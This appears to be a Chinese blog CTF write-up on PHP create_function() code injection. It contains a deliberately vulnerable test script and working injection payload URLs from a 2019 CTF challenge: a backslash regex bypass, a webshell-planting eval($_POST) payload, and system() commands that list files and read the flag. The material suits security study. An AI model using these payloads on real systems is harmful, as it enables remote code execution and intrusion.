create_function代码注入

string create_function(string $args , string $code)

$args 变量部分
$code 方法代码部分

返回值:
以字符串形式返回唯一的函数名,如果出现错误,则返回false。

在PHP中使用create_function()创建匿名函数,seay大牛的解释

  • 获取参数, 函数体;
  • 拼凑一个“function __lambda_func (参数) { 函数体;} ”的字符串;
  • eval;
  • 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;
  • 定义一个函数名:“\000_lambda_” . count(anonymous_functions)++;
  • 用新的函数名替换__lambda_func;
  • 返回新的函数。

例:

create_function('$name','echo $name."alex"')

等同与创建了一个函数:

function fT($fname) {
  echo $fname."alex";
}

并返回这个函数名。

测试代码:

<?php
$id=$_GET['id'];
$str2='echo  $a'.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
?>

环境:php5.2或5.3或5.4+apache或Nginx

playload:http://localhost/1.php?id=;}phpinfo();/*

注入原理:

原函数:
function fT($a){
  echo $a."test".$id;
}

代码注入后:
function fT($a){
  echo $a."test";}phpinfo();/*;
}

例题

2019掘安杯题:

<?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
} 

/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]

/D如果使用$限制结尾字符,则不允许结尾有换行;

根据create_function()代码注入,需要绕过对$action参数的正则过滤,在数字字母下划线都被禁用的情况下调用函数,思路是想办法在开头或结尾插入字符绕过正则.
通过测试会发现在函数开头加上字符\可以绕过,也就是%5C,原因涉及到了php的全局命名空间,\create_function就是调用全局的create_function函数.
手册:
A59cIP.png
注意php版本。。。(入坑者的提醒)

执行phpinfo()
playload:http://120.79.1.69:10006/?action=\create_function&arg=){};phpinfo();/*

){}应该是闭合create_function的 。

A59XzF.png
然后传马,或者直接看flag;
http://120.79.1.69:10006/?action=\create_function&arg=){};eval($_POST[%27a%27]);/*
但有的时候马连不上。。。。

看文件夹下的内容
http://120.79.1.69:10006/?action=\create_function&arg=){};var_dump(scandir(%22./%22));/

http://120.79.1.69:10006/?action=\create_function&arg=){};var_dump(system(%22ls%22));/

看flag
http://120.79.1.69:10006/?action=\create_function&arg=){};var_dump(file(%22./Th1s_1S_F1a9_Hav3_Fun%22));/

http://120.79.1.69:10006/?action=\create_function&arg=){};var_dump(system(%22cat%20./Th1s_1S_F1a9_Hav3_Fun%22));/

  • session反序列化

    知识储备在php中session存储和反序列化存储在php.ini中的配置: session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数...

    session反序列化
  • php之正则匹配

    注:文章存在转义以网页显示为表准写法 正则表达式:1.原子 2.元子符 3.模式修正符 原子:. 匹配除换行符以外的任意字符 a-z A-Z 0-9 [0-9] [^0-9] \d 匹配数字 \D...

    php之正则匹配
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • bypass disfunction

    前言PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。 基本思路有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在...

    bypass disfunction
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • RCE提高篇

    前言首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。浅谈eval和assert从底层分析eval和assert的区别命令执行与代码执行的小结巧用命令注入的N种方式命令注入绕过姿势我就不在说这几个东西,大牛们都说的很...

    RCE提高篇
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)